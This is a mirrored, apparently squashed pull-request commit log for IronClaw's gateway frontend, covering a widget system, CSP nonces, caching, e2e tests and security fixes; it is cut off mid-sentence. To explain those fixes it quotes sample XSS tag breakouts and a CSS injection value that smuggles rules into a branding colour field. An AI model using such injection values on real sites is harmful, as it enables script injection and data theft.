mirror of
https://github.com/nearai/ironclaw.git
synced 2026-09-02 23:56:24 +08:00
* feat(frontend): extract frontend into ironclaw_frontend crate with widget extension system
Moves all frontend static assets (app.js, style.css, index.html, i18n/*,
theme-init.js, favicon.ico) from src/channels/web/static/ into a dedicated
ironclaw_frontend crate. The crate also adds:
- Layout configuration types (branding, tab order, chat features, per-widget config)
- Widget manifest types with named slot system (tab, chat_header, sidebar, etc.)
- CSS scoping utility (auto-prefixes selectors with [data-widget="id"])
- Bundle assembly (injects layout config, widgets, and custom CSS into HTML)
- Frontend API endpoints (GET/PUT layout, list widgets, serve widget files)
- Browser-side IronClaw.registerWidget() API with authenticated fetch,
event subscription, theme access, and i18n
Widgets are stored in workspace at frontend/widgets/{id}/ and served via
the API. Layout config is stored at frontend/layout.json. The agent can
create/edit both using existing memory_write/memory_read tools.
Gateway handlers now reference ironclaw_frontend::assets constants instead
of include_str!() with local paths, completing the separation.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix: address CI failures — license, rust-version, formatting, manifest warnings
- Add license = "MIT OR Apache-2.0" to ironclaw_frontend Cargo.toml (cargo-deny)
- Fix rust-version to 1.92 to match other crates
- Log warning for invalid widget manifests instead of silent skip
- Run cargo fmt across all files
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* feat(frontend): structured data cards + chat renderer API for rich message rendering
Agent responses containing JSON/structured data (like mission results,
status objects) now render as styled cards with labeled fields, status
badges, and monospaced IDs instead of raw text.
Built-in rendering:
- Detects inline JSON objects (including Python-style single quotes)
- Renders as data cards with key-value rows
- Status/state fields get colored badges (success/error/pending)
- UUIDs rendered in monospace
Extensible via widgets:
- IronClaw.registerChatRenderer({ id, match, render, priority })
- First matching renderer wins (priority ordering)
- Renderer gets the content element to mutate in place
Also adds ChatRenderer variant to WidgetSlot enum.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* feat(frontend): hash-based URL navigation for page refresh persistence
Navigation state is now encoded in window.location.hash so refreshing
the page (or sharing a URL) restores the current view:
#/chat → chat tab, assistant thread
#/chat/{threadId} → specific conversation
#/memory/{path/to/file} → memory browser with file open
#/jobs/{jobId} → job detail view
#/routines/{id} → routine detail view
#/settings/{subtab} → settings sub-tab (extensions, etc.)
#/logs → logs tab
Hooked into all navigation functions: switchTab, switchThread,
switchToAssistant, createNewThread, readMemoryFile, openJobDetail,
closeJobDetail, openRoutineDetail, closeRoutineDetail,
switchSettingsSubtab.
Thread restore is deferred until loadThreads() completes (async),
then the pending thread ID is matched against the loaded thread list.
Browser back/forward buttons work via hashchange listener.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* feat(frontend): auto-open README.md when first visiting Memory tab
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(frontend): preserve URL hash across page refresh
Two bugs caused the hash to reset on Cmd+R:
1. Auth URL cleanup (replaceState) stripped the hash fragment —
now preserves it via cleaned.hash
2. restoreFromHash() called switchTab() which called updateHash()
overwriting the full hash before the detail was restored —
now suppresses hash updates during the entire restore sequence
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* feat(frontend): seed frontend/README.md with customization guide for agent
The agent didn't know it could customize the frontend via workspace writes.
Now seeds frontend/README.md on first boot with a guide covering:
- Layout config (branding, colors, tab order) via frontend/layout.json
- Custom CSS via frontend/custom.css with common variable names
- Widget creation (manifest + index.js + style.css)
- API endpoints
Also seeds frontend/.config with skip_indexing: true so frontend assets
aren't chunked/embedded for search.
When a user says "change the color scheme to red", the agent can now
discover frontend/README.md via memory_tree, read the guide, and write
the appropriate layout.json or custom.css.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* feat(frontend): wire workspace-aware serving for index.html and style.css
The index_handler and css_handler now read from workspace to apply
frontend customizations on page load:
- index_handler: reads frontend/layout.json, discovers widgets in
frontend/widgets/*, reads frontend/custom.css, then calls
assemble_index() to inject branding colors, layout config,
widget scripts, and custom CSS into the base HTML.
Falls back to embedded HTML if no customizations exist.
- css_handler: appends frontend/custom.css from workspace after
the embedded base stylesheet.
This completes the end-to-end flow:
Agent writes frontend/layout.json → user refreshes → sees changes
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(frontend): wire up remaining widget system gaps
Audit-driven fixes for the widget extension system:
1. Widget tab panel ID: panels now get id="tab-{widgetId}" so
switchTab() can find and activate them
2. Widget JS auth: inline widget JS in assembled HTML instead of
<script src> to protected endpoint (browser script tags can't
send Authorization headers)
3. Layout config: fully implement tab ordering, default_tab,
chat.suggestions, chat.image_upload application
4. SSE event forwarding: wrap EventSource.addEventListener to
intercept all named events and dispatch to widget subscribers
via IronClaw.api._dispatch()
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(frontend): XSS prevention, widget queue drain, code-block false positives
Security (2 XSS fixes):
1. HTML-escape branding title in assemble_index() to prevent
<script>alert(1)</script> injection via layout.json
2. Escape </script> in inlined widget JS to prevent script tag
breakout — uses <\/script> replacement
3. Escape widget IDs in HTML attributes via escape_html_attr()
Correctness:
4. Drain _widgetInitQueue after DOM is ready — widgets registered
before tab-bar exists now mount correctly instead of silently
failing
5. Skip inline <code> elements in upgradeInlineJson to prevent
false-positive JSON card rendering on code spans like
<code>{key: value}</code>
6. Document scope_css limitation with nested @media rules
Tests (13 new):
- XSS: title injection escaped, widget JS </script> breakout escaped,
widget ID attribute escaped
- Edge cases: escape_html basic, escape_html_attr quotes, missing
head/body tags, empty widget JS, whitespace-only custom CSS skipped
- Widget: at-rule not prefixed, declarations preserved, special chars
in widget ID, all slot variants round-trip, minimal manifest
[skip-regression-check]
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* style: fix clippy — collapsible if, while_let_on_iterator
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(ci): resolve frontend clippy and formatting failures
* fix(frontend): address PR review — XSS, scope_css, cache, dedup
Security (3 XSS gaps):
1. Layout JSON injected into <script>window.__IRONCLAW_LAYOUT__</script>
is now run through escape_tag_close() — serde_json does not escape `<`
or `/`, so a branding title containing `</script>` previously broke
out of the script tag. Case-insensitive, UTF-8 safe.
2. Widget CSS and custom CSS injected into <style> tags are now escaped
the same way against `</style>` breakouts.
3. New escape_tag_close() helper handles `</script`/`</style` uniformly
(case-insensitive with tail preserved, via char-boundary walk).
Correctness:
4. scope_css now tracks brace depth via a stack that distinguishes rule
lists from declaration blocks. Selectors nested inside @media,
@supports, @container, @layer, @document, @scope are recursively
scoped. @keyframes/@font-face/@page bodies pass through opaque so
inner keyframe selectors (0%, 100%) are not prefixed. The old
single-bool parser produced unbalanced output on any nested rule.
5. WidgetInstanceConfig.enabled now defaults to true (via serde_default
+ manual Default impl). A layout entry that omits `enabled` while
setting `config` no longer silently disables the widget.
6. build_frontend_html short-circuit replaced with a
layout_has_customizations() helper covering all branding/tabs/chat
fields. The old boolean missed subtitle, logo_url, favicon_url,
default_tab, image_upload.
7. Custom CSS is now served only via /style.css (css_handler). Removed
from FrontendBundle injection to prevent double-application.
8. Dead pub index_handler/css_handler/js_handler in
handlers/static_files.rs removed — routes use private handlers in
server.rs that need GatewayState.
9. Widget file path validation is now component-based via
is_safe_segment / is_safe_relative_path. Rejects `.`, `..`, empty,
`/`, `\`, NUL in any component, plus leading `/`. MIME detection is
case-insensitive and adds .mjs / .map.
10. Layout and widget-manifest parse errors now log tracing::warn!
instead of silently falling back.
Extension system follow-ups:
11. Extracted shared widget-loading helpers (load_widget_manifests,
load_resolved_widgets, read_widget_manifest) in handlers/frontend.rs.
frontend_widgets_handler and build_frontend_html both delegate, so
widget discovery exists in exactly one place.
12. New FrontendHtmlCache in GatewayState. Cache key is derived from the
updated_at of frontend/layout.json and the frontend/widgets/
directory (max child mtime) via a single list("frontend/") call.
A cache hit skips reading every widget manifest/JS/CSS per request.
Edits invalidate naturally because list() sees the newer timestamp.
Cache survives rebuild_state() by cloning the Arc.
13. upgradeInlineJson rewritten without the nested-quantifier regex. New
_findJsonCandidates does a linear bracket scan that respects string
literals and fast-skips <code>/<pre> regions. Three hard caps bound
worst-case work (MAX_PARA_LEN=20000, MAX_SCAN=5000,
MAX_CANDIDATES=32), eliminating the catastrophic-backtracking risk.
Tests (29 new):
- bundle.rs: 5 — layout JSON / widget CSS / custom CSS <script>/<style>
breakouts, escape_tag_close case-insensitive, multi-byte safety
- widget.rs: 5 — @media inner selector scoped, nested @supports+@media,
@keyframes passthrough, sibling rules in @media, complex mix brace
balance
- layout.rs: 3 — enabled defaults true, Default impl enabled,
explicit false respected
- handlers/frontend.rs: 4 — segment allows/rejects, relative path
allows/rejects (traversal, backslash, encoded separators)
Quality gate:
- cargo fmt clean
- cargo clippy --all --benches --tests --examples --all-features →
zero warnings
- cargo test --lib -p ironclaw_frontend -p ironclaw → 4171 main +
43 frontend tests pass
[skip-regression-check]
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix: post-merge — PairingStore::new_noop, CLI snapshot, docs
Merge of origin/staging surfaced three small follow-ups:
1. src/channels/wasm/wrapper.rs — PairingStore::new() signature changed
in staging to take (db, cache). Switch the test call site to
PairingStore::new_noop() to match other tests in the file.
2. src/cli/snapshots/..long_help_output_without_import.snap — accept
the new snapshot. Clap's render_long_help for --auto-approve now
emits an indented blank line between the short and long description;
this test was already failing on staging tip (see Staging CI run
24021660555) so the snapshot update was needed regardless of this PR.
3. src/workspace/seeds/FRONTEND.md — address new copilot comments:
- Placeholder is `{id}` (matches API path segment and manifest id
field), not `{name}`.
- Only `slot: "tab"` is actually mounted by the browser runtime.
Trim the slot list to what's implemented and mention
IronClaw.registerChatRenderer() for inline rendering. The extra
WidgetSlot variants stay in the Rust API for forward compatibility
but are no longer advertised to users until mounting is wired.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* refactor: rename ironclaw_frontend → ironclaw_gateway, .system/gateway/ workspace
Two coupled renames to align frontend assets with the broader `.system/`
namespace introduced by other in-progress work:
1. Workspace folder: `frontend/` → `.system/gateway/`
- layout.json, custom.css, widgets/{id}/, README.md, .config all
move under `.system/gateway/`
- LAYOUT_PATH and WIDGETS_DIR are now constants in the handler so a
future move is a one-line change
- is_config_path test updated to use the new path
- FRONTEND.md seed rewritten to point at `.system/gateway/`
- Cache key doc comments updated to match
- No legacy or migration shim — this never shipped to prod
2. Crate: `ironclaw_frontend` → `ironclaw_gateway`
- Matches how the surrounding subsystem is called (`channels/web` is
"the gateway"). Cleaner mental model: workspace folder, crate name,
and module name all align.
- Directory renamed via `git mv` so history is preserved.
- Cargo.toml workspace member + dependency updated; package name
updated; description tweaked to "gateway frontend assets".
- All `use ironclaw_frontend::` imports rewritten in server.rs and
handlers/frontend.rs.
- Doctest in widget.rs updated to use the new crate name.
- Cargo.lock regenerated.
The HTTP API paths stay as `/api/frontend/*` since they're a public
surface; only the internal workspace path and crate name moved.
Quality gate:
- cargo fmt clean
- cargo clippy --all --benches --tests --examples --all-features →
zero warnings
- cargo test -p ironclaw_gateway → 43 unit + 1 doctest pass
- cargo test --lib -p ironclaw → 4228 pass (8 unrelated IPv6/DNS
validation failures, also failing on clean post-merge baseline)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): per-request CSP nonce for inlined widget scripts
Copilot review caught that `assemble_index()` injects two kinds of inline
`<script>` blocks (the layout-config script and per-widget module scripts),
but the gateway's CSP sets `script-src 'self' …CDNs…` with no
`'unsafe-inline'` and no nonce — so the browser silently blocks every
injected script the moment any customization is enabled. The widget
runtime would never execute on a customized index page.
Fix uses a per-request CSP nonce (W3C standard pattern):
- `crates/ironclaw_gateway/src/bundle.rs`
- New `NONCE_PLACEHOLDER` sentinel constant, re-exported from the crate root
- `assemble_index()` stamps `nonce="__IRONCLAW_CSP_NONCE__"` on every
injected `<script>` tag (both the layout-config script and each
widget's module script)
- Inline `<style>` blocks deliberately do NOT carry a nonce — the
gateway's CSP allows `'unsafe-inline'` for `style-src`, so adding
one would be dead weight; pinned with a regression test
- Three new tests verify the placeholder appears on layout + widget
scripts and is absent on widget styles
- `src/channels/web/server.rs`
- Static CSP layer now reads from a single `BASE_CSP` constant so the
static and per-response variants stay in lock-step
- New `build_csp_with_nonce(nonce)` produces the same CSP with
`'nonce-{nonce}'` added to script-src, preserving the explicit CDN
list and the strict `style-src 'self' 'unsafe-inline' …` policy
- New `generate_csp_nonce()` returns 16 random bytes hex-encoded via
OsRng — same primitive `tokens_create_handler` already uses
- `index_handler` now returns `Response` (not `impl IntoResponse`) so
it can branch:
- Workspace has no customizations → serve embedded `INDEX_HTML`
unchanged; the static CSP layer applies (no inline scripts to
authorize anyway)
- Workspace has customizations → generate fresh nonce, replace
placeholder in cached HTML, and emit a per-response
`Content-Security-Policy` header with the nonce. Setting the
header here suppresses the global `if_not_present` layer for this
response only.
- Two new unit tests pin the nonce-source position in script-src and
the format/uniqueness of `generate_csp_nonce()`
The HTML cache still works because the cached HTML contains the
placeholder (not the actual nonce); per-request substitution preserves
caching while the browser still sees a unique nonce on every page load.
Quality gate:
- cargo fmt clean
- cargo clippy --all --benches --tests --examples --all-features →
zero warnings
- cargo test -p ironclaw_gateway → 46 pass (+3 nonce tests)
- cargo test --lib -p ironclaw → 4238 pass (+2 CSP tests)
Refs: PR #1725 review by copilot-pull-request-reviewer
[skip-regression-check]
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): wire ko.js asset through ironclaw_gateway::assets
The merge of staging brought in a Korean i18n pack referenced via
include_str!("static/i18n/ko.js") in src/channels/web/server.rs.
After the gateway extraction the static/ directory moved into
crates/ironclaw_gateway/static/, so the legacy include_str! path
no longer resolved. Add I18N_KO_JS to ironclaw_gateway::assets and
make the i18n_ko_handler reference it like the other language packs.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* test(e2e): add Playwright coverage for chat-driven frontend customization
Adds two end-to-end scenarios for the widget extension system shipped in
PR #1725, both driven by talking to the agent in chat:
1. **Tab bar to left side panel.** The user asks the agent to move the
tab bar; the mock LLM emits a `memory_write` tool call writing
`.system/gateway/custom.css`, and after a reload the test asserts the
served stylesheet contains the overlay, the computed flex-direction
of `.tab-bar` is `column`, and the bar is now taller than it is wide.
2. **Workspace-data widget.** The user asks the agent to create a
"Skills" widget that renders workspace skills. Two chat turns write
`.system/gateway/widgets/skills-viewer/manifest.json` and `index.js`
into the workspace. After a reload the test verifies the new tab
button appears in `.tab-bar`, switches to it, waits for the widget's
`data-testid="skills-viewer-root"` to mount, and asserts the widget
actually fetched `/api/skills` (no `skills-viewer-error` marker) and
that the panel carries the `data-widget="skills-viewer"` attribute
the gateway runtime stamps for CSS isolation.
Both tests share a `clean_customizations` fixture that wipes the
workspace overlay files before and after each run so the session-scoped
gateway server stays isolated across tests in the file (`memory_write`
treats empty content as effectively cleared, and the gateway skips
empty / unparseable widget files silently).
Supporting changes:
- **mock_llm.py**: three new `TOOL_CALL_PATTERNS` (`customize: move
tab bar to left`, `customize: create skills viewer manifest`,
`customize: install skills viewer code`) that emit one
`memory_write` call per turn — the existing one-tool-per-response
shape is preserved.
- **app.js (`_addWidgetTab`)**: fix a latent bug where widget tabs
would be queued forever because the function looked for a
`.tab-content` / `#tab-content` element that the gateway HTML never
ships. The built-in tab panels live as siblings of `.tab-bar` inside
`#app`, so we now resolve the parent off the first existing
`.tab-panel` (with `#app` as a final fallback). Without this fix the
Skills widget tab never mounts and the second scenario can't pass.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* test(e2e): support multi tool calls per response in mock_llm
The mock LLM previously emitted at most one tool call per assistant
turn. That shape silently bypasses the v2 engine and CodeAct dispatch
paths, where a single response can fan out into several parallel tool
calls (or several Python helper invocations from one script). Tests
written against that constraint were either contorted into multiple
chat turns or quietly failed to cover multi-call regressions.
Changes:
- ``TOOL_CALL_PATTERNS`` args functions may now return ``list[dict]``
instead of a single ``dict``. Each item is its own
``{"tool_name", "arguments"}`` pair, so one trigger can mix several
tools in one response. ``_normalize_tool_calls`` always wraps the
return value into a list so the dispatcher stays shape-agnostic.
- ``match_tool_call`` returns ``list[dict] | None``.
- ``_tool_call_response`` and ``_stream_tool_call`` now accept either a
single dict (legacy callers) or a list. The streaming path emits
per-tool-call header + arguments chunks with distinct ``index``
values, exercising clients' per-index merging logic the same way real
providers force them to.
- ``_find_tool_results`` collects every fresh ``role: tool`` message
after the most recent user turn (not just the first), and the
chat-completion summary path renders a multi-line acknowledgment
when more than one tool ran in a single turn. The single-result
helper is kept as a thin shim for the special-response path.
- The PR #1725 customization scenario is consolidated: instead of
three separate triggers (one memory_write each), the
``customize: install skills viewer widget`` trigger now emits *both*
the manifest and ``index.js`` writes in one assistant turn. The
``customize: move tab bar to left`` trigger stays single-call to
cover the legacy code path. The Playwright test in
``test_widget_customization.py`` is updated to a single chat turn
for the widget install — if the v2 engine ever drops the second
parallel call, the test will fail because the new tab can't mount
without both files.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): address PR #1725 review feedback
Four issues raised in the 2026-04-07 review pass:
1. **Widget id / directory mismatch** (`src/channels/web/handlers/frontend.rs`).
`read_widget_manifest` now rejects widgets whose `manifest.id` does
not match the on-disk directory name. The loader uses the directory
name to compute file paths (`{WIDGETS_DIR}{dir}/index.js`) while the
layout-config gating and the public
`/api/frontend/widget/{id}/{*file}` endpoint key off `manifest.id`.
When those drift, code can be mounted from one folder under a
different id and the file API silently 404s — a correctness footgun
for widget authors and a path-confusion attack surface for the
serving handler. Fix lives in the shared helper so both
`load_resolved_widgets` and `load_widget_manifests` get it. Adds
regression tests for both the rejection and the matching path.
2/3. **`memory_write` doc examples used the wrong parameter name**
(`src/workspace/seeds/FRONTEND.md`). The seeded customization guide
showed `memory_write path=".system/gateway/..."`, but the actual tool
parameter is `target` (`src/tools/builtin/memory.rs`). As written the
examples wouldn't work if copy-pasted into a tool call. Both
examples (layout.json + custom.css) updated to `target=`.
4. **`css_handler` allocated on the hot path** (`src/channels/web/server.rs`).
The handler always called `assets::STYLE_CSS.to_string()` in the
no-overlay branches, copying the entire embedded stylesheet on
every request. Switched the local to `Cow<'static, str>` so the
common path borrows the static string and only the overlay branch
pays for an owned `format!`.
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests` zero warnings
- `cargo test --no-default-features --features libsql --lib channels::web::handlers::frontend` — 6 passed (4 existing + 2 new regression tests)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): address PR #1725 paranoid-architect review
Five issues raised in the 2026-04-07 review pass:
1. **High — `</style>` breakout XSS in branding CSS-vars injection**
(`crates/ironclaw_gateway/src/bundle.rs`). Every other inline injection
point in `assemble_index()` runs through `escape_tag_close`, but the
branding `<style>` block formatted directly. A hostile color value
containing `</style>` could close the tag early and inject HTML. Now
wraps `css_vars` in `escape_tag_close(&css_vars, "</style")` for
defense in depth, with a regression test in
`test_assemble_index_branding_style_breakout_escaped`.
2. **Medium — CSS property injection via unvalidated branding colors**
(`crates/ironclaw_gateway/src/layout.rs`). `to_css_vars()` interpolated
`primary` / `accent` strings raw into `--color-primary: {};`, letting
a hostile `layout.json` break out of the `:root {}` block (e.g.
`red; } .chat-input[value^="s"] { background: url(...) }`). Added
`is_safe_css_color()` validator that accepts hex literals, modern
functional notation including `rgb(0 0 0 / 50%)`, and bare named
colors, while rejecting `;`, `{}`, `<>`, quotes, backslash, `*`
(handles both `/*` and `*/` comment markers), `url(...)`, and unknown
functions. `to_css_vars()` silently drops invalid values so the rest
of the branding config still applies. Six new unit tests cover the
accepted forms, the injection vectors, and the `to_css_vars` drop.
3. **Medium — CSP policy duplication risks silent drift**
(`src/channels/web/server.rs`). `BASE_CSP` and `build_csp_with_nonce`
re-hardcoded every directive independently, so adding a `connect-src`
to one would silently leave the other on the old policy. Extracted
per-directive constants (`STYLE_SRC`, `FONT_SRC`, `CONNECT_SRC`,
`IMG_SRC`, `FRAME_SRC`, `FORM_ACTION`) and built both flavors via a
single `build_csp(nonce: Option<&str>)` helper. `BASE_CSP_HEADER` is
now a `LazyLock<HeaderValue>` (with a safe minimal fallback to honor
the no-`.expect()` rule on the request path). Added two regression
tests: `test_base_and_nonce_csp_agree_outside_script_src` strips the
`script-src` directive from both flavors and asserts byte equality,
and `test_base_csp_header_matches_build_csp_none` locks the lazy
header to `build_csp(None)`.
4. **Medium — `_wipe_customizations` ignored HTTP status**
(`tests/e2e/scenarios/test_widget_customization.py`). The cleanup
posts now assert `status_code == 200` with `resp.text` in the
message, so an auth/server failure surfaces immediately instead of
bleeding leftover workspace state into the next test.
5. **Drive-by — pre-existing flake in `test_telegram_token_colon_preserved
_in_validation_url`** (`src/extensions/manager.rs`). The test reads
`IRONCLAW_TEST_TELEGRAM_API_BASE_URL` via `telegram_bot_api_url`
without taking the `lock_env()` mutex, so when a parallel test holds
the override the read races and the assertion sees
`http://127.0.0.1:.../bot…` instead of `https://api.telegram.org/`.
The new tests in this PR changed scheduling enough to surface the
race on every run. Fixed by acquiring the same `ScopedEnvVar` lock
and clearing the override inside the test, making it deterministic.
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests` zero warnings
- `cargo test --no-default-features --features libsql --lib` — 4284 passed
- `cargo test -p ironclaw_gateway` — 50 unit + 1 doctest passed (was 46)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* ci: nudge workflows for b88d4554 (Actions trigger missed)
* fix(gateway): address PR #1725 zmanian review
Five items raised in zmanian's 2026-04-08 review (approved). None are
blockers; this sweep avoids carrying them as follow-up debt.
1. **Document widget trust model**
(`src/workspace/seeds/FRONTEND.md`). New "Security model" section
spells out that widgets run with full session authority via
`IronClaw.api.fetch`, share the same DOM as the built-in tabs, and
are *not* sandboxed at the JS layer. The trust boundary lives one
layer up: anything that can `memory_write` a widget file already
has agent authority. Operators who want stricter isolation should
mount untrusted UI in an `<iframe sandbox>` from a trusted widget.
2. **Extract shared `read_layout_config` helper**
(`src/channels/web/handlers/frontend.rs`,
`src/channels/web/server.rs`). Both
`frontend_layout_handler` and `build_frontend_html` had identical
read-parse-fallback bodies — the kind of drift trap zmanian flagged.
Hoisted the helper into `handlers/frontend.rs` as
`pub async fn read_layout_config`; `server.rs` deletes its private
copy and imports the shared one. The single source of truth means a
future change to the warning text or fallback semantics lands once.
3. **Escape `def.id` and `e.message` in `_addWidgetTab` error path**
(`crates/ironclaw_gateway/static/app.js`). The catch block built
the failure banner via `innerHTML` with raw interpolation. CSP
blocks the script vector, but every other innerHTML write in this
file routes user-controlled strings through `escapeHtml()`, and an
inconsistent escape discipline is exactly the kind of regression
future readers shouldn't have to re-litigate. Now wraps both
`def.id` and `String(e?.message ?? e)` in `escapeHtml`.
4. **Gate `upgradeInlineJson` behind opt-in flag**
(`crates/ironclaw_gateway/src/layout.rs`,
`crates/ironclaw_gateway/static/app.js`,
`src/channels/web/server.rs`). The bracket-counting heuristic
pattern-matches any balanced `{...}` in rendered markdown — prose
like `"set the value to {x: 1, y: 2}"` gets mangled into a styled
data card. New `ChatConfig::upgrade_inline_json: Option<bool>`
defaults to `None` (off); operators that pipe structured data
through chat can flip it on via `.system/gateway/layout.json`.
`app.js` checks `window.__IRONCLAW_LAYOUT__.chat.upgrade_inline_json
=== true` before invoking the rewrite. Also added the field to
`layout_has_customizations` so a layout that only sets this flag
still triggers the customized HTML path. Two new `ironclaw_gateway`
tests pin the default-off serde shape and the explicit-true
round-trip (omitted field must not appear in serialized output).
5. **ETag cache-busting on `/style.css`**
(`src/channels/web/server.rs`). Operators editing `custom.css` had
to ask users to hard-refresh because the response carried only
`Cache-Control: no-cache` with no validator. Added `css_etag()`
producing a strong `"sha256-…"` validator over the assembled body
(16 hex chars / 64 bits — plenty for content addressing on a
single-tenant CSS payload). `css_handler` now extracts the request
`HeaderMap`, honors `If-None-Match` (exact match or `*`) with a
`304 Not Modified` + empty body, and otherwise emits `ETag` on the
200 response. The `Cache-Control: no-cache` stays so the browser
always revalidates — together with the ETag this gives "fast 304"
semantics rather than a stale `max-age` window where edits don't
show up. Four new tests in `server.rs::tests`:
- `test_css_etag_is_strong_validator_format` (no `W/`, quoted,
ASCII)
- `test_css_etag_changes_when_body_changes` (single-byte mutation
invalidates)
- `test_css_etag_stable_for_identical_body` (cache hit reproducible)
- `test_css_handler_returns_etag_and_serves_304_on_match` (full
handler round-trip via `tower::ServiceExt::oneshot`: 200 → ETag →
304 on match → 200 on stale validator)
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests` zero
warnings
- `cargo test -p ironclaw_gateway` — 52 unit + 1 doctest passed
(was 50; +2 for the new chat-config flag tests)
- `cargo test --no-default-features --features libsql --lib channels::web`
— 334 passed (includes the 4 new ETag tests, the existing widget
loader tests, and the shared `read_layout_config` callers on both
ends)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): land deferred items from PR #1725 paranoid-architect summary
Both items the previous sweep (1c361d42) explicitly deferred. Closing
the loop so they don't get lost as follow-up debt.
1. **`assemble_index` no longer silently drops layout serialization
failures** (`crates/ironclaw_gateway/src/bundle.rs`). The
`if let Ok(layout_json) = serde_json::to_string(&bundle.layout)`
shortcut would discard the entire `window.__IRONCLAW_LAYOUT__`
injection on error and the customized HTML would ship without any
branding/tab/chat customizations applied — and the IIFE in `app.js`
would no-op them all without leaving a trace. The branch is
unreachable on well-typed input (`LayoutConfig` and every nested
type derive `Serialize` cleanly), but a future field that adds a
serialization-fallible type — `serde_json::Value`, a custom
`Serialize` impl, an `i128` — would silently regress the entire
customization path. Now the error branch logs `tracing::warn!` with
the serde error so the failure is observable.
Required pulling `tracing = "0.1"` into `crates/ironclaw_gateway/`
(already in the workspace dep set; the gateway crate just hadn't
needed it yet).
2. **`default_tab` is applied after the widget queue drains**
(`crates/ironclaw_gateway/static/app.js`). The layout-config IIFE
used to call `switchTab(layout.tabs.default_tab)` from inside the
same block that handled branding/tabs/chat. That block runs *before*
`_widgetInitQueue.drain` mounts widget panels, so any widget-provided
tab id (e.g. `default_tab: "dashboard"` where `dashboard` comes from
a registered widget) silently no-ops — `switchTab` looks up
`#tab-dashboard`, finds nothing, and the user lands on the default
built-in tab instead. The setting appeared broken to anyone who
tried it.
Fix: hoist the `default_tab` switch out of the layout IIFE and place
it after the `_widgetInitQueue` drain. Hash navigation still wins
(so `#chat` deep-links survive a customized `default_tab`), and the
block only runs when a layout was actually injected. Left an
inline `NOTE` at the original site so a future contributor doesn't
"helpfully" move it back inside the IIFE.
Quality gate:
- `cargo fmt` clean
- `cargo clippy --no-default-features --features libsql --tests` zero
warnings
- `cargo test -p ironclaw_gateway` — 52 unit + 1 doctest passed
(no count change; #1 is a logging path with no new test surface and
#2 is JS-side)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* chore: update Cargo.lock for ironclaw_gateway tracing dep
Forgotten in 8edca735, which added `tracing = "0.1"` to
`crates/ironclaw_gateway/Cargo.toml` to support the new
`tracing::warn!` on layout serialization failure in `assemble_index`.
The `tracing` crate is already pulled in transitively elsewhere in the
workspace, so this is purely a manifest-side dependency declaration.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(gateway): align layout selectors with real DOM (PR #1725 Copilot review)
Two "low confidence" findings from the latest Copilot review pass that
are both real bugs — the affected layout flags silently no-opped
because the JS selectors didn't match the elements actually rendered
by `static/index.html`.
1. **`tabs.hidden` only matched widget tabs, not built-ins.**
`_addWidgetTab` creates buttons with `class="tab-btn"`, but the
built-in tab `<button>`s in `index.html:157-162` are plain
`<button data-tab="chat">` etc. with no class. The previous
selector — `.tab-btn[data-tab="…"]` — therefore only matched
widget-injected buttons, so a layout like
`tabs.hidden: ["routines"]` (a built-in) silently did nothing.
Switched to `.tab-bar button[data-tab="…"]`, which matches both
variants while still scoping the lookup to the tab bar (so a stray
`<button data-tab>` elsewhere on the page can't be hidden by
accident).
2. **`chat.image_upload === false` targeted a non-existent element.**
The handler tried to hide `#image-upload-btn`, but the actual
composer in `index.html` uses `#attach-btn` (the visible paperclip)
and `#image-file-input` (the hidden file input). The flag therefore
never disabled image uploads. Now hides `#attach-btn` AND sets
`#image-file-input.disabled = true`, so a programmatic
`document.getElementById('image-file-input').click()` from a
widget or extension can't bypass the operator's intent — the
capability is actually gone, not just the chrome.
Both bugs share the same root cause: the layout-config IIFE was
written against a hypothetical DOM rather than the one
`index.html` ships, and there's no e2e test that exercises a layout
with `tabs.hidden` set to a built-in or `chat.image_upload: false`,
so the regression slid through. (A follow-up Playwright scenario
would catch the next instance of this — tracking separately rather
than expanding the scope of this PR.)
Quality gate:
- `cargo fmt` clean
- `cargo clippy -p ironclaw_gateway --tests` zero warnings
- `cargo test -p ironclaw_gateway` — 52 unit + 1 doctest passed
(no count change; both fixes are JS-side)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* test(e2e): regression test for layout selector / DOM drift (PR #1725)
The two `app.js` selector bugs Copilot caught in PR #1725 review pass
4072914579 (`tabs.hidden` only matched widget-injected `.tab-btn`
buttons rather than built-in plain `<button data-tab>`s, and
`chat.image_upload === false` targeted a non-existent
`#image-upload-btn` instead of `#attach-btn` / `#image-file-input`)
both slid through code review for the same root reason: there was no
e2e test that loaded a customized layout and asked the browser whether
the flags actually took effect. The unit tests on the Rust side
verified `LayoutConfig` round-trips, and the existing widget-tab test
